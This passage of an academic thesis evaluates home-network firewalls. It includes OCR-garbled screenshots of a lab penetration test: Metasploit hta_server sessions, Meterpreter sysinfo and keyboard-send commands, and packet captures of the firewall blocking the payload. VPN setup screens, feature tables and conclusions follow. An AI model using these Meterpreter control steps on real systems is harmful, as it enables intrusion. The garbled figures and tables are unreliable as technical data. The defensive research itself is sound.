Id Name Type Information Connection
1 neterpreter x86/windows winpc\user @ WINPC 172.16.10.10:4444 -> 10.10.10.10:49189 (10.10.10.10)
2 neterpreter x86/windows winpc\user @ WINPC 172.16.10.10:4444 -> 10.10.10.10:49190 (10.10.10.10)

nsf5 exploit(windows/misc/hta _server) > |

Figure 4-69sessions initiated from outsideupon execution of malware
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Active sessions

Id MName Type Infermation
1 meterpreter x86/windows winpchuser @ WINPC
2 meterpreter x86/windows winpc\user @ WINPC

msf5 exploit({windows/misc/hta_server) = sysinfo

[-] unknown command: sysinfo.

msf5 exploit({windows/misc/hta_server) = sessions -i 1

[#] Starting interaction with 1

meterpreter = sysinfo

Computer : WINPC

0s : Windows 7 (6.1 Build 7601,
Architecture : x64

System Language : en_NZ

Domain WORKGROUP

Logged On Users : 2
Meterpreter : x86/windows
meterpreter = [

—

Service Pack 1)

172.16.10.10:4444
172.16.10.10:4444

Connection

-> 10.10.190.18:49189 (10.10.10.10)
-> 10.10.10.10:49190 (10.10.10.10)

3 Detach tzb Q Toggescalng 57 Fulkcreen [ Fit to window size

a-

Figure 4-70 Controlling target host

%, Set connection password

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ma®

RE Qe

RAQKE

¥ tidebar  { Discomnect

([t

1]

'} Expression.

+

No. Time Source

(| 218 2021-11-11

2222 2021-11-11
12223 2021-11-11

15.771679 172.16.10.10
15.77259@ 172.16.10.10

I 2226 2821-11-11 15.776748 10.10.18.18

2228 2021-11-11 1
2229 2821-11-11 18:05:15.848427 10.10.10.10
2230 2021-11-11 1

15.7776497 10.10.10.18

2233 2021-11-11 18:05:15.847929 10.10.16.10
2234 2021-11-11 18:@5:15.843661 172.16.10.18
2235 2821-11-11 18:85:15.853919 172.16.10.18
2236 2021-11-11 18:85:15.882182 172.16.10.18
2237 2021-11-11 18:@5:15.883857 172.16.18.18
2238 2021-11-11 18:05:15.934180 10.10.16.10
2239 2821-11-11 18:05:15.934997 10.10.16.10
2244 2821-11-11 18:05:15.943153 172.16.10.18
2241 2821-11-11 18:85:15.944564 172.16.10.18
2242 2821-11-11 18:85:15.986835 172.16.10.18
2243 2821-11-11 18:05:15.996531 10.10.16.10
I 2244 2021-11-11 18:05:16.086474 172.16.18.10

Destination

10.10.10.10

10.10.10.10
10.10.10.10

172.16.10.10

172.16.10.10
172.16.10.10 TP
15.84p447 10.10.18.10 172.16.10.10 TP

:15.847656 172.16.10.10 10.10.10.10 TCP
172.16.10.10 TP
18.10.10.18 TP
10.10.10.10 TP
10.10.10.10 TP
18.10.18.18 TP
172.16.10.10 TP
172.16.10.10 TP
10.10.10.10 TP
10.10.10.10 TP
10.10.10.10 TP
172.16.10.10 TP
18.10.10.18 TP

Protocol  Length Info

: i

638 4444 » 49198 [PSH,

60 4444 » 49189 [ACK]
Dup

66 49190 » 4444 [ACK]

54 49100 » 4444 [ACK]
1514 49199 » 4444 [ACK]
1514 49199 » 4444 [ACK]

60 4444 49198 [ACK]
1166 49190 > 4444 [PSH,
60 4444 » 49198 [ACK]
60 4444 49198 [ACK]
182 4444 » 49189 [PSH,
182 4444 + 49198 [PSH,
246 49190 > 4444 [PSH,
246 49189 > 4444 [PSH,
60 4444 » 49189 [ACK]
182 4444 » 49189 [PS
182 4444 » 49190 |
246 49189 » 4444 [

[

182 4444 + 49189

H,
PSH,
PSH,
PH,

ACK] Seq=353419 Ack=760 Win=64128 Le
5eq=354003 Ack=4792 Win=64128 L

Seq
5eq=760 Ack=354003 Win=65536 Len=1460
5eq=2220 Ack=354003 Win=65536 Len=1460

5eq=354003 Ack=2220 Win=64128 Len=

ACK] Seq=3680 Ack=354803 Win=65536 Len=1112

Seq=354083 Ack=3680 Win=63360 Len=0

5eq=354003 Ack=4792 Win=64128 Len=0

ACK] Seq=354003 Ack=4792 Win=64128 Len=128
ACK] Seq=354003 Ack=4792 Win=64128 Len=128
ACK] Seq=4792 Ack=354131 Win=65536 Len=192
ACK] Seq=4792 Ack=354131 Win=64768 Len=192
5eq=354131 Ack=4934 Win=64128 Len=0

ACK] Seq=354131 Ack=4934 Win=64128 Len=128
ACK] Seq=354131 Ack=4934 Win=64128 Len=128
ACK] Seq=4984 Ack=354259 Win=64768 Len=192
ACK] Seq=354259 Ack=5176 Win=64128 Len=128

L

Source Port: 4444
Destination Port: 49198
[Stream index: 6]
[TCP Segment Len: 146@]

Frame 2225: 1514 bytes on wire (12112 bits), 1514 bytes captured (12112 bits) on interface @

Ethernet II, Src: 58:00:00:01:00:01 (50:00:00:01:00:01), Dst: 50:00:00:04:00:00 (50:00:00:04:00:00)

Internet Protocol Version 4, Src: 172.16.10.10, Dst: 10.10.10.19
v Transmission Control Protocel, Src Port: 4444, Dst Port: 49198, Seq: 343199, Ack: 768, Len: 1460

Sequence number: 343199
[Next sequence number:

Figure 4-71 Wireshark captureshowing payload delivered to target host

(relative sequence number)
384659 (relative sequence number)]
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al

Resource Monitor
File  Monitor Help

Oveniew | CPU_ [ Memry [ Dik | Network

B

svchostexe (NetworkSenvice) 248 2089111252
suchost.exe (NetworkService) U8 2089111253

Procasses with Network Activity Al

] image D Send (B/se)  Receive (B/seq) Total [B/seg *

[] system 4 06 06 s

LI svchost.exe (NetworkSenvice) 248 6 0 6L

] powershellexe 1o 3 2 5

[E1 nmusnerhallavn. 1290 2 a e I

Network Activity B 1 kbps Network O 1 0% Network Utiization '* ]

Image PID  Address Send (Bseq  Receive (B/seq) Tot‘al (B/seq) 60 Seconds 0.
System 4 10104025 16 06 i1 TCP Connections 107
powershell.exe 204 172161010

powershell.exe 13% 172461010

TCP Connections

[
o o e s
P

= .

]

A
Image FID Local Address Local Port Remote Address Remote Port Packet Loss (%) latln(y {ms) Local Area Connection  100% -
powershell.exe 104 10404010 49189 172161010 44 0 10
powershell.exe 133 10104040 49190 172161010 4444 0 10

L

Figure 4-72 Target machine show unknown connection

Interface 11

Name
Hardware MAC
MTU

IPv4 Address
IPv4 Netmask
IPvEe Address
IPv6 MNetmask

Intel(R) PRO/1000 MT Network Connection
50:00:00:04:00:00

1500

10.10.10.10

255.255.255.0

fe80::a508:8bb7:4562:be8d
ffff:ffff:ffff:FFfff::

Figure 4-73 Gathering details of the compromised machine remotely
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78% v 2 UlpUzyX.jpeg =

[ Resource Monitor
Fle Monitor Help
Overview | CPU_ | Memory | Disk | etwork |
‘Mmm«mmv 2o
(I image . senaEneq  Recee(Beq | Totsi (ameq | |

| powershell.exe 204 i ] 13
T powersnell.ece B8 3 2 5
suenost exe (Networksenics) 248 4 ° n

Network Activity B 0 kbps Metwork 1O W 05 Network Utiization ~

Image Address Send Bseg  Receme [Biseq) Total [B/seg
powershellexe 172164010 1 2 13
powershell.exe 172161010 3 H 5
svenast.exe (NetworkService) 289101253 2 [l 2
svenost exe (NetworkService) ws911252 2 0 2

kS8 il
P preprr o ——— Renoteror | et e |t

powershellcxe. 10103010 9189 1721610.10 244 0 10
powershellexe 10101010 49190 172161040 444 [ 10

Figure 4-74 Remote desktop screen capture (hack)

meterpreter = keyboard send I CAN see you !

[*] Done

meterpreter > keyboard send I CAN SEE YOU MISDF REPORT!
[*] Done

meterpreter > [

Figure 4-75 Hacker sending a command from Kali machine

| Untitled - Notepad =8 EoH )

File Edit Format View Help

Hi , This is a PEN TEST for MISDF -

II_CAN_SEE_YOU_MISDF_REPORT!|

Figure 4-76 Compromised machinereceive a command from hacker

AMP Configuration:
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Favorites >
@& Dashboard >
%A Security Fabric >
| FortiView >
o Network >
& System >
B Policy & Objects >
& Security Profiles v

Web Filter

DNS Filter

Application Control
Intrusion Prevention
FortiClient Compliance
Proxy Options
S5L/55H Inspection

& Policy & Objects v

Local In Policy

[Pvé DoS Policy
Addresses

Edit AntiVirus Profile
Name
Comments Scan files and block viruses, 29255

Inspection Mode | Proxy

Scan Mode Quick WVl
Detect Viruses L4, Monitor
APT Protection Options

Treat Windows Executables in Email Attachments as Viruses @O
Use Virus Qutbreak Prevention Database @ O

Apply

Figure 4-77 Firewall AMP Configuration

I info O Ingdesegment(port?) B Outside (port) Zad Zdl (9 aways

0 ImplctDeny ) 3oy 0 any a2l

@ always

Figure 4-78 Implement AMP configuration on the firewall
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@ http://172.16.10.10:8080/update
=3 Security Alert!! x | ]

[E= Bl =

~c | [ Search...

o - [Fieess

High Security Alert!!

‘You are not permitted to transfer the file "update” because it is
infected with the virus "PowerShell/Agent.Ditr".

URL: http://172.16.10.10:3080/update

File quarantined as:

-/ivewwe fortinet
Client IP: 10.10.10.10
Server IP: 172.16.10.10
User name:

Group name:

Agent.D%21tr

r'e

File Edit View Go Capture Anabyze Statistics Telephony Wireless Tools Help

Figure 4-79 Firewall blocking Malware download

(840 (EREResz7sEEQcan
[ 172.15.10. 10:8080 upcete OB <] oresion.. | +
No. Time Source Destination Protocol  Length Info A
24166 2021-11-11 20:52:08.913843 172.16.10.18 10.10.10.10 TCP 1514 3080 + 49162 [ACK] Seq=4331 Ack=267 Wi 128 Len=146 [TCP segment of a reassembled PDU]
24167 2021-11-11 20:52:08.914881 10.10.10.10 172.16.10.10 TCP 54 49162 + 8088 [ACK] Seq=267 Ack=5841 Win=65536 Len=@
24168 2021-11-11 28:52:88.984235 172.16.10.18 10.10.10.10 HTTP 1823 HTTP/1.1 268 OK (application/hta)
24169 2021-11-11 20:52:08.984528 10.10.10.10 172.16.10.10 TCP 54 49162 + 8080 [ACK] Seq=267 Ack=681@ Win=64512 Len=0

24359 2021-11-11 28:53:40.493146 10.10.10.18

172.16.10.18

54 49162 + BABA [ACK] Seq=268 Ack=6811 Win=64512 Len=0

24567 2621-11-11 28:56:06.540331 10.10.10.18
24568 2021-11-11 28:56:86.540920 10.10.10.18
24569 2021-11-11 28:56:06.554523 172.16.10.10
24573 2621-11-11 28:56:06.918628 172.16.10.10
24574 2021-11-11 28:56:86.913987 10.10.10.18
24575 2021-11-11 28:56:06.919527 172.16.16.10
24576 2621-11-11 28:56:06.919772 10.10.10.18
24577 2621-11-11 28:56:06,923898 172.16.10.10
24578 2021-11-11 28:56:86.924119 10.10.10.18
24579 2021-11-11 28:56:06.924814 172.16.10.10
24580 2621-11-11 28:56:06.925631 10.10.10.18
8 987471 172.16

25761 2021-11-11 28:59:32.417722 10.10.10.18
25762 2621-11-11 28:59:32.418183 10.10.10.18
25763 2021-11-11 28:59:32.455249 172.16.10.10
25764 2021-11-11 28:59:32.455725 10.10.10.18
25765 2821-11-11 20:59:32,456686 172.16.10.19
25766 2621-11-11 28:59:32.461240 10.10.10.18

25768 2021-11-11 28:59:32.478422 172.16.10.10

172.16.19.18
172.16.10.18
18.10.10.10
18.10.10.10
172.16.10.18
18.10.10.10
172.16.10.18
18.10.10.10
172.16.10.18
18.10.10.10
172.16.10.18

172.16.10.18
172.16.10.18
18.10.10.18
172.16.10.18
18.10.10.10
172.16.19.18

18.10.10.10

TCP 54 49165 + 8088 [ACK] Seg=1 Ack=1 Win=65536 Len=8

HTTP 320 GET fupdate HTTP/1.1

TCP 60 3080 + 49165 [ACK] Seq=1 Ack=267 Win=§4128 Len=@

TP 1514 3080 + 49165 [ACK] Seq=1 Ack=267 Win=64128 Len=1468 [TCP segment of a reassembled PDU]
TCP 54 49165 + BABA [ACK] Seq=267 Ack=1461 Win=65536 Len=@

TCP 1514 3080 -+ 49165 [ACK] Seq=1461 Ack=267 Win=64128 Len=146 [TCP segment of a reassembled PDU]
TCP 54 49165 + 8080 [ACK] Seq=267 Ack=2921 Win=65536 Len-@

TCP 1514 3080 + 49165 [ACK] Seq=2921 Ack=267 Win=64128 Len=146@ [TCP segment of a reassembled PDU]
TCP 54 49165 + BABA [ACK] Seq=267 Ack=4381 Win=65536 Len=@

hld 1514 5080 + 49165 [ACK] Seq=4381 Ack=267 Win=64128 Len=1460 [TCP segnent of a reassembled PDU]
P 54 49165 + 3080 [ACK]

4+ 49165 |

54 49166 + 8080 [ACK] Seg=1 Ack=1 Win=65536 Len=0
HTTP 320 GET fupdate HTTP/1.1
TP 1514 388 + 49166 [PSH, ACK] Seq=1 Ack=267 Win=8222720 Len=1468 [TCP segment of a reassembled POU]

(] 54 49166 + 8080 [ACK] Seq=267 Ack=1461 Win=65536 Len=d
HTTP 75 HTTP/1.1 483 Forbidden (text/htnl)
(< 54 49166 + 8980 [ACK] Seq=267 Ack=1483 Win=65536 Len=p

68 3080 > 49166 [ACK] Seq=1483 Ack=268 Win=8222729 Len=@

[Frame i< ienared: Falzel

Figure 4-80 Wireshark captureshowing, malware detected and blo cked
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M Wireshark . Packet 25765 - - - O b4

Urgent pointer: @ ~
[SEQ/ACK analysis]

~ [Timestamps]

[Time since first frame in this TCP stream: ©.8795568080 seconds]
[Time since previous frame in this TCP stream: ©.880961000 seconds]

TCP payload (21 bytes)
TCP segment data (21 bytes)

[2 Reassembled TCP Segments (1481 bytes): #25763(146@), #25765(21)]

~ Hypertext Transfer Protocol

HTTP/1.1 483 Forbidden\rin
X-Frame-Options: SAMEORIGIN\r\n
X-X55-Protection: 1; mode=block\r\n
X-Content-Type-Options: nosniffirin
Content-Security-Pelicy: frame-ancestorsirin
Content-Type: text/html; charset="utf-8"\r\n
Content-Length: 1235\r\n
Connection: Close\rin
\rin
[HTTP response 1/1]
[Time since request: ©.838583802 seconds]
Request in frame: 25762
[Request URI: http://172.16.10.10:8080 /update]
File Data: 1235 bytes

Line-based text data: text/html (18 lines)

2022 50 00 00 04 00 o0 Pl 01 60 ©1 08 00 45 00 P u E
@@ 3d 6b 85 4@ @@ 3T @6 @6 93 ac 1@ @a @2 @3 @3 =k-@-?
©a @a 1f 98 co @e @1 dd 54 e8 3c 38f ca 18 5@ 19 T-< P
fa fo 64 52 @2 ee 2f 64 69 76 3e 3c 2f 62 6f 64 dR--/d iv»</bod
79 3e 3c 2f 68 74 6d 6c 3e @d Ba yr</html >

Frame (75 bytes) Reassembled TCP (1481 bytes)

Figure 4-81 Wireshark packet capture showing content forbidden

4.6.5 vpPN

A VPN, or virtual private network, allows the remote workforce to connect back to the
corporate office, i.e., to virtually make corporate office servicesavailable on the local network.
Due to the data encryption mechanism, which encrypts the data, it is helpful to protect the data
travelling over the public network and maintain confidentiality. VPNs are connected over the
internet service by using a tunnelling mechanism and adding header packets, which are then
removed when they make it to the destination. Through the local break policy feature, only
selected traffic is sent over this VPN tunnel, and internet traffic directly goes out without going
into the tunnel. This removesthe overhead on corporate internet data processing. Client-Server
VPN Architecture: clients connectto a server (VPN Concentrator). Clients come in various
form factors; soft clients or firewalls can be configured to connect as clients or VPN

concentrators.

Fortinet and Cisco Meraki Firewall both support VPN connectivity in all combinations, i.e.,
firewalls work as clients, and these firewalls support VPN concentrators. Fortinet client-soft
VPN clients are also available. Cisco Meraki supports Windows native VPN client
connectivity, and the feature is called "easy VPN," which helps connect to a VPN server in just

a single click. Whereas Archadyan does not support VPN connectivity from its hardware as a
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client or even server, a connected user from the host can individually connectusinga client
application.

VPN concentrator configuration

VPN Creation Wizard
ﬂ VPN Setup 9 Policy & Routing @ Client Options
Name ‘ VPM | Dialup- FortiClient (Windows, Mac OS, Android)

Template Type Site to Site Custom

Remote Device Type  JOIENRiER N Native
© FortiClient [RE0ER \ / @

This FortiGate FortiClient

Figure 4-82 VPN Concentrator Setup

VPN Creation Wizard
Incoming Interface M| Inside segment (port2)
Authentication Method Signature
Pre-shared Key TITIIITIY) @
User Group &= Guest-group v

Figure 4-83 VPN Concentrator Authentication Method
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VPN Creation Wizard

o VPN Setup 0 Authentication @ Policy & Routing @ Client Options

Local Interface | ™ port10 ‘

Local Address = all b 4
+

Client Address Range | 192.168.10.10-192.168.10.15 ‘

Subnet Mask | 255.255.255.0 |

DNS Server Use System DNS Bes=d1aY%

Enable IPv4 Split Tunnel [ @)
Allow Endpoint Registration @

Figure 4-84 VPN Concentrator Policy

VPN Creation Wizard
0 VPN Setup 0 Authentication o Policy & Routing e Client Options
Save Password | @]
Auto Connect O

Always Up (Keep Alive) @

Figure 4-85 VPN Concentrator Options

VPN Creation Wizard

o VPN Setup 0 Authentication 0 Policy & Routing 0 Client Options
& The VPN has been set up

Summary of Created Objects

Split Tunnel Group VPMN_split
Phase 1 Interface VPN

Phase 2 Interface VPN
Address VPN_range

Remote to Local Policy 3
Endpoint Registration Enable

Printable FortiClient VPN Setup Instructions

Figure 4-86 VPN Concentrator Setup confirmation
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¥ CresteNew ¢ Fdit Delete @ Print nstructions

Tunnel Interface Binding Template Status

VPN 18 port? Insideseemen) £ Dialup- FortiClient (Windows, Mac 05, Android) Qlnactive

Figure 4-87 VPN Concentrator Tunnel

Edit VPN Tunnel

Tunnel Template

z.z Dialup - FortiClient (Windows, Mac OS, Android) = Convert To Custom Tunnel

Name VPN
c VPN: VPN (Created by
omments VPN wizard) A saizss
Network ¢ Edit
Incoming Interface : port2
IPv4 client address range : 192.168.10.10-192.168.10.15/255.255.255.0
Authentication & Edit
Authentication Method : Pre-shared Key
XAUTH ¢ Edit

User Group: Guest-group

Figure 4-88 VPN Concentrator Tunnel Misc.

P.Jsers."Grou ps Creation Wizard

@ Login Credentials 9 Contact Info @ Extra Info

Local User

Remote RADIUS User
Remote TACACS+ User
Remote LDAP User
FSSO

Figure 4-89 VPN User Setup
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Users/Groups Creation Wizard

o User Type @ Login Credentials 9 Contact Info 9 Extra Info

Username | admin

Password |uuuu|

Figure 4-90 VPN User account

Users/Groups Creation Wizard

0 Login Credentials @ Contact Info 9 Extra Info

Email Address ‘ abcd@aut.ac.nzl |

» SMS

(® Two-factor Authentication
Figure 4-91 VPN User account email

Users/Groups Creation Wizard

0 User Type 0 Login Credentials 0 Contact Info @ Extra Info
User Account Status A AEINEN © Disabled

User Group @© | &= Guest-group X

Figure 4-92 VPN adding a user to group
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Step 1: Click on FortiClient desktop icon to launch software.

Step 2: Navigate to "Remote Access™ tab on the left hand.

Step 3: Click on "Config W PN to add a W PN connection.

Step <4: Enter the settings in each field as showvwn below and click apply-

Hews WIPN Conmnection
Connection MNarme
O
Description
L B
Remobe Gateway
L
Authentication Method
Pre—shared key == ©
Awuthentication (>XXAwuth)
) Prompt on login ) Sawe login
" Aadvanced Settings
Appiyv Close
€» Enter a VPN tunnel Name
o Enter a description (Optional)
& Remote Gateway : 10.10.10.1
=y Authentication Method : Pre-shared key ) Show and P

Figure 4-93 Windows VPN Client Setup

File Help

New VPN Connection

veN B PN
Connection Name VPN '
Description VPN |
Remote Gateway 10.10.101 | s
+Add Remote Gateway
1 REMOTE ACCESS Authentication Method | Pre-shared key v
=) .

escsscece |
Authentication (XAuth) © Promptonlogin () Savelogin () Disable
Fallover SSLVPN [None] v ]

+ Advanced Settings

Cancel ‘ Save

Figure 4-94 Windows VPN Client configuration
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L1 REMOTE ACCESS

Please contact your administrator or connect to EMS for license activation.
Unlicensed VPN access is available until Dec 17, 2021 3:41:12 PM

Error: Wrong Credentials
VPN Name VPN v

Username ‘adm»n ‘

Password

seenennen ‘

rE

Figure 4-95 Windows VPN connection dialogue box

'@ FortiClient -- Zero Trust Fabric Agent

File Help

VPN Connected

[ -

VPN Name VPN
IP Address 192.168.10.10
Username user
Duration 00:00.07
Bytes Recelved 044 KB
Bytes Sent 1552KB

L) REMOTE ACCESS

Disconnect

Figure 4-96 Windows VPN client Connected to Firewall
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L

B C\Windows\system32\cmd.exe X =)

Media State : Media disconnected
Connection—specif ic s

Ethernet adapter Local Area Connection 3:
Connection-specific [
Link-loca ok .
IPv4 Addr
Subnet Ma
Default Gateway

Ethernet adapter Local Area Connection 2:

Connection-specific I

bibe
175.218

fFbad4:c295:afd2217

Ethernet adapt

Connection > &
Link-local > e : FeBB::a588:8bbh7:4562:beBdx11
: 19.18.198.18

Figure 4-97 Window connected to VPN segment

4.7 SUMMARY

In this chapter, testing is performed to evaluate firewall packages. The process identified in the
previous chapters to conduct tests was utilized to extract the result against the feature
specification sheet by the vendor. Multiple exploits simulating attacks were generated using
Kali Linux tools. Test results were obtained by combining firewall logs, Wireshark packet
capture from both segments, i.e., from the outside segment and the inside segment, and
evidential screenshots from the machine-generated attacks and from the target host, taken from
both segments. The research questions to evaluate the firewall packages to protect home
networks were also answered with the test results. The next chapters will proceed to discuss
data collected during the testing phase and the effectiveness of firewalling to protect home
networks.
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CHAPTER 5

Chapter 5: ANALYSIS

5.0 INTRODUCTION

In the previous chapter, the outcome of testingwas presented as per the test scenario performed
based on the product datasheet. Furthermore, in this chapter, we will analyze the results
obtained during the testing phase. Chapter 4 coversdetails and discussion on the challenges of
home network users as outlined in Chapter 2. The result of testing firewall features set in

Chapter 4 is applied to answer the research questions raised in Chapter 3.

This chapter has two main sections. The first section, which discusses the tests conducted, and
the second section, which discusses the output of the test results and analysis drew based on
the results obtained, these results will help us establish the role of the firewall for use in home

networks, thereby answering the main research questions and justifying the need for the study.

5.1 ANALYSIS

The analysis is based on the specification sheets of the firewall. The tests were conducted using
Debian-based Kali Linux, and the target machine was a Window 7 64-bit CPU architecture.
The results are subjected to the types of attacks used in Chapter 4 on detecting and blocking
suspicious traffic. A range of attacks was conducted during the testing phase. These attacks
were based on considering the threat surface of common home networks and industry-known
challenges. These attacks are discussed in detail in Chapter 2. Observation includes the
management of the device and a list of detailed features that are available in general and are
not highlighted in the specification sheet. The given table shows the effectiveness of the

firewall in the home network and the features it offers.:

Meraki FortiGate Arcadyan
Features MX64 30E VRV9517
Powersupply internal internal internal
Configuration backup YES YES YES
DHCP YES YES YES
DHCP Subnets Multiple Multiple Single
DHCP Reservations YES YES YES
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VLAN YES YES NO
Firewall Rules ADVANCE ADVANCE BASIC
Stateful YES YES NO
Security Zones YES YES YES
IP Forwarding YES YES YES
Static Routing YES YES YES
LAN Routing Protocol YES YES YES
WAN Routing

Protocol YES YES NO
DOS prevention YES YES YES
IDS ADVANCE ADVANCE GOOD
IPS ADVANCE ADVANCE NIL
Web Filtering YES YES NO
Web Cache YES YES NO
AMP YES YES NO
VPN YES YES NO
NAT YES YES YES
QO0sS YES YES NO
Load Balancing YES YES NO
QOE YES YES NO
QO0S YES YES YES
PCI YES YES NO
DNS YES YES YES
Web health YES YES NO
URL Filtering YES YES YES
Machine Learning YES YES NO
Link Monitoring YES YES NO
Policy Scheduling YES YES YES
Layer 7 security YES YES NO
Content filtering YES YES NO
SSLinspection GOOD ADVANCE NIL
DLP YES YES NO
CASB YES YES NO
App control YES YES NO
File type control YES YES NO
Wireless Support YES YES YES
Multiple SSIDs YES YES YES
Wireless 5GHz YES YES YES
Config Templates YES YES YES
Cloud management YES YES NO
Interface usage

report YES YES YES
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User usage report YES YES NO
Application report YES YES NO
Cloud Archive YES YES NO
Web search filtering YES YES NO
Cell Enabled YES YES YES
USB support YES YES YES
IPV6 YES YES YES
Copper Connection NO NO YES
Device Restrict YES YES YES
User Authentication YES YES YES
External

Authentication YES YES NO
MAC filtering YES YES YES
Port Forwarding YES YES YES
System Logging YES YES YES
Traffic Logging YES YES NO
NTP Settings YES YES YES
Remote Management YES YES YES
Remote Login Policy YES YES YES
Firmware Upgrade YES YES YES
Factory Default YES YES YES

Table 1 Feature Analysis

5.2 RESEARCH QUESTIONS AND ANSWERS

The motivation for this study was based on the idea of cyber security challenges during a
pandemic (COVID-19) faced by home network users or employees working from home due to
movement or travel restrictions. This research study is based on home network security and
how to protecthome network users. Threatsthatare faced by home users affectthe architecture
of the home network. How can homes be protected fromemergingthreats? Does the knowledge
of cyber security help home network users in protecting their homes and securing their home
networks? Does ISP-managed firewalls help home network users securing home network? To

determinetherole afirewall can play inahome network, we evaluated multiple vendor firewall

packages and each vendor's unique offering.
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5.2.1 THREAT To HOME NETWORK AND SOLUTION AT ISP LEVEL

This research study investigated the modern-day smart home security challenges that home
users or staff working from the home face. What are the security aspects where such users are
challenged? Users cannot be left to fight for themselves. This is of specific and essential
importance. There should be new ways of looking at home networks and ideas to protect them

that have the same level of security as enterprises have these days.

To answer the above question, seek help for home network users who are not security -aware
and do not have knowledge of emerging threats. To cope with the ever-evolving threat surface
of home networks, the security of a home network should be on par with enterprise-grade
security. Itwould be bestif the same level of measures were taken atthe level of homenetworks
that are procured by enterprises to secure their networks. Enterprises procure enterprise -grade
firewalls to secure networks. They have enough resources and staff to manage that network,
whereas home network users cannot upskill to an equivalent level. Considering the situation at
hand, ISPs' roles are enhanced, and they are given the responsibility to manage home network
security. This can be done by procuring solutions that can protect the home network from the
major threats emerging from outside the internet by procuring the solution and deploying the

internet infrastructure.

The economy of scale will play a major role, as home network users cannot procure such
expensive solutions on an individual basis, but at the ISP level, this can be done. By procuring
such solutions, the underlyinginfrastructure will be secure, and extendedservice will be secure

to home networks, protecting them from external threats.

5.2.2 INFORMATION SECURITY AWARENESS

The home network threat surface can be restricted by seeking help from ISPs. Replace the
home internet modem gateway with an ISP managed firewall. This conceptis very helpful in
reducing the threat surface as firewalls are proven methods of securing networks and only
permitconnection basedon the security policy/firewall rules or traffic goingoutand permitting
the same traffic upon return, i.e., based on the entry in the firewall state table. This scenario
was tried and tested in the home lab with various other tests conducted that proved the

effectiveness of firewalls protecting home networks and various other features offered that
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protect home users from the damage that can be caused by social engineering by sending

harmful content and malicious links, which otherwise home users can fall prey to easily.

These firewalls can be sent preconfigured to the home users and can also be configured as per
user request as well. Firewalls can also be managed remotely. Any further requests as per the
needs of users can also be granted with a consultation. This way, users will know the nitty-
gritty and consequences of the change. There will be help available to the home users in terms
of counselling for the security measures. For such changes and requests, only an authorized
person with designated access can make such changes. A centralized monitoring system at the
ISP level will know the emerging threats and similarly suppress them. Any emerging threat
passing through the firewall will be suppressed. An overall firewall gives total control over the

security of the home networks and protects its users in its entirety.

5. 3 FEATURE ANALYSIS

Each firewall has its own unique offering that can be categorized. Pricing plays a vital role
when it comes to home users. Firewall ratings are based on the management aspect and the
relationship between the user and the firewall vendor. The effectiveness of a firewall is driven
by the unique offering of the firewall feature set by its vendors. By putting it together, it makes
a complete firewall package, and in the given table, these unique offerings are compared on the

basis of the vendor offering:

LEGENDS Good Avg

FortiGate | Meraki | Archadyan

Pricing

Recurring cost

Cloud-enabled

Cloud Configuration
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On-Premises Configuration

Device Dimensions

Power Consumption

Pre-deployment configuration required

Rating

Meets Security requirement

Ease of use

Ease of setup

Ease of admin

Quality of support

Ease for doing business

Product Documentation

Product direction

Device throughput

Fibre-Optic termination

Fixed IP Support

Routing Protocols Support
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Non-techy Home User Administration

Self Service Requests

Self Service maintenance

Zero-touch provisioning

Device ownership

Security - Unified Threat Management for Unified Threat Management Software

Features

Antivirus

Whitelist

Antispam

Content filtering

Web filtering

Administration for Unified Threat Management Software

Administration

Reporting and analysis

Alert notification

Dashboard
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Table 2 Vendor Unique offering evaluation

5.4 CconcLusION

Results are drawn from the study and practical lab demonstration on the principles of CEH;
conclusions are based on the results obtained, and analysis is performed on the data obtained.
The findings support the conclusion reached through this study and in the lab that home
networks are extremely vulnerable to cyber-attacks. A suitable firewall solution would be of
tremendous assistance in protecting the home network. The home users seek help from ISPs as

previously discussed at great length why the ISP’s role is so important in this whole affair.

The attacks generating Kali Linux on the host are depicting real-world attacks on every home
network, as Kali Linux is the main tool used in the industry for vulnerability assessment and
penetration testing. This chapter concludes the discussion by evaluating the firewall package
that blocked malicious traffic and removed any potential attack on the home network, detecting
network intrusion and preventing it by blocking or dropping such traffic. Web filtering and
content filtering components secure home networks by dropping requests to malicious sites

that could land home network users in hot waters, hence securing a home network.
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CHAPTER 6

Chapter 6: CONCLUSION

6.0 INTRODUCTION

This chapter will focus on concluding this study based on the questionson which this research
was initiated. Subsequent sections will discuss the highlights of the overall study. The next
section emphasizes methodological impact, followed by discussing the limitations of the
research due to the restricted lab environment, and the last section will have a discussion about

the future road map of this study.

6.1 RESEARCHSUMMARY

This research study began with Chapter 1: the background discussion, detailing and discussing
the background of'this research study; the scenario ofa typicalhome network; the type of users
on a home network; the type of devices in a home network; and, due to ever-changing
technology, what advancements a typical home network has seen due to the COVID-19
pandemic. [t was examined whatdifficulties arise as a resultof a rapid increase in the workload
of'a home network. Security has been recognised as a major concern for the home network and
its users, which is the motivation for starting this research study and the reason for this
topic. The target of this study was identified, aiming to secure home networks and their users
through this research by proposing to look deeper into a model or approach that assists home
network users in securing their home networks by delivering assistance and delegating less
responsibility. The last section of this study covered the general structure of this study and the

suggested subsequent course of action to move forward with this research.

Concluding with the introduction of the study topic and establishing the concerns in Chapter
1, further progressed to Chapter 2. In this chapter, the discussion continued to suggest a model
that protectsahome network and itsusers and discussed the security models, i.e., thick security
models, intermediate and thick security models, and how these models will be effective in
security threats, while the discussion continuedto become acquainted with major cyber -attacks
that every network faces. There are numerous threats, but this study focused on the main

attacks, which also encompasses the derivates of cyber-attacks.
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The third chapter discusses the study methodsused to answer the research questions of testing
and assessing firewall solutions given by vendors. Getting the lab-ready for testing Creating a
home lab in a constrained area based on ethical hacking principles, discussions about the
network's surroundings, network type, and network division aided in the testing process. It was
a two-phased approach, pre and post effects of the firewall packages in the lab. Operating
systems were identified, which helped conduct the study. On the inner segment of the network,
which is represented as a typical home network with a Windows 7 host connected, and on the
outer segment, a malicious user depicting the internet has Kali Linux, which has ill intentions
towards the home network users and generates cyber-attacks using Kali Linux. The Kali Linux
tools were discussed to perform the kill chain, which involves a model made up of seven
sequential steps including reconnaissance weaponization delivery, exploitation installation,
command and control, and finally actions on objectives to disrupt the attack. These model
stages and models were designed to gather observer outcomes in order to evaluate the effects
and value of firewall packages as well as how they can safeguard them. To observe the result,
captured the packets, monitored Win7 Host, monitored traffic on both network segments, and

finally observed logs on the firewall itself.

In Chapter 4, research findings on the assessment of firewall packages against cyber -attacks
were reviewed. The outcome of firewall features and its evidence of operation in the lab were
observed, as were aspects such as IP address, security policy, and internet availability. The
impact was noticed during reconnaissance with and without a firewall in the midst of the inner
